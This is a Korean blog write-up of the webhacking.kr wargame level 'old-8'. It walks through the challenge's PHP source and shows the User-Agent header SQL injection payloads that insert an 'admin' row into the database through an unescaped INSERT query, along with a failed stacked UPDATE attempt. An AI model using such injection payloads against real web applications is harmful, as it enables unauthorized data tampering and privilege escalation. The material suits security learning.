본문 바로가기

Wargame(hacking)/webhacking.kr

Webhacking.kr : old-8

Write-Up

 

<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
  echo("<br>Access Denied!<br><br>");
  echo(htmlspecialchars($agent));
  exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);

if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}

if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}
?>

 

위는 문제의 php 코드인데, 코드가 길어 다소 복잡해 보였지만, "HTTP_USER_AGENT" 헤더를 이용해 exploit을 진행해야겠다는 것은 금방 알아차릴 수 있었다. 

 

$agent=trim(getenv("HTTP_USER_AGENT"))

 

$agent 변수에 초기화되는 값은 HTTP_USER_AGENT 헤더 ( 사이트 접속한 사용자 환경 ) 의 환경 변수 값이다. 

 

if(preg_match("/from/i",$agent))

 

$agent 변수 값의 내용에 'from' 이 들어가 있다면, Access 가 거부된다. 

 

$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

 

id 컬럼의 개수를 구해 $count_ck 변수에 할당하고, 해당 값이 70개를 초과한다면, 해당 테이블을 삭제한다. 

 

$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);

 

$_SERVER ['HTTP_USER_AGENT']는 사이트에 접속한 사용자 환경을 나타낸다. 거기에 addslashes() 함수를 적용해 query를 구성한다. $ck는 true가 될 수도, false가 될 수도 있다. 

 

if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}

 

$ck 값이 true 라면, 해당 if 문이 실행되고, $ck[0] 값이 admin 일 시, 문제를 해결할 수 있다. 

 

if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}

 

$ck 가 false 일 경우 수행되는 구문이다. insert into 구문이 눈에 띈다. 테이블에 값을 추가하는 구문이다. 해당 구문이 올바르게 실행될 시 done! 메시지가 브라우저에 출력되고, 그렇지 않을 시 query error를 발생시킨다. 

 

 

해당 php 코드에 대한 해석이 끝났으니, 문제를 해결해보도록 한다. 

 

insert into를 이용해 내가 입력한 값이 테이블에 추가되도록 해보자! 

 

User-Agent: 24','[my-ip]','randmom');#

 

위와 같이 User-Agent 헤더에 payload를 입력 후 request 해주었다. 그럼 $ck 가 false 가 되어, 

insert into chall8(agent,ip,id) values('24', '[My-IP]', 'randmom');#', '{$ip}', 'guest') 같은 query 형태가 완성되어 테이블에 insert 가 성공적으로 수행될 것이다. 

 

User-Agent: 24

 

위와 같이 요청하면, hi randmom이 페이지에 출력된다. 

 

User-Agent: 34','[my-ip]','admin');#

 

이번에는 위와 같이 request를 보내도록 한다. 

 

User-Agent: 34

 

위와 같이 요청 시, 문제를 해결할 수 있다. 

 

$result = select id from chall8 where agent='34'와 같이 요청되고, agent 가 34 일 시, id = admin 이므로, $ck 가 true 임과 동시에 $ck [0]의 값이 admin이 되기 때문이다.

 

 

원래 UPDATE 구문을 사용하고자 했는데, query error로 실패했다. ( 구지 사용할 필요는 없지만, 처음에 코드를 잘못 이해했기에 사용하고자 했었다. ) 59, '[나의 IP]', 'admin');UPDATE chall8 SET agent ='0', ip='[나의 IP]', id='admin' WHERE id=' randmom';#

 

 

 

실습 ( INSERT INTO 와 UPDATE 구문에 대한 실습 예제이다. )

 

그림 1

 

실습에 사용된 코드

 

INSERT INTO people(person_id,person_name,age,birthday) values ('0','pppname',100,"2020-01-01");

UPDATE people SET person_id =1, person_name='iiiname',age=20,birthday='2021-01-12' WHERE person_id=0;

INSERT INTO people(person_id,person_name,age,birthday) values ('2','pppname',100,"2020-01-01");UPDATE people SET person_id =0, person_name='randomname',age=50,birthday='1908-01-12' WHERE person_id=1;

 

 

 

참고

 

https://wikidocs.net/209194

 

[PHP 옵션 및 정보] 환경 변수의 값 가져오기 <getenv>

PHP에서 **환경 변수의 값을 구하기 위해서** `getenv` 함수를 사용합니다. # getenv 함수 예제 `getenv` 함수를 사용하는 예제입니다. …

wikidocs.net

 

https://watchout31337.tistory.com/95

 

[PHP] mysql_fetch_array,row

php문을 작성할 때 select문을 이용해 mysql데이터를 요청한 후에 mysql_fetch_array나 mysql_fetch_row 함수를 사용해 데이터를 배열 형태로 가져올 수 있다. 이 함수들은 데이터를 배열의 형태로 출력한다. 0

watchout31337.tistory.com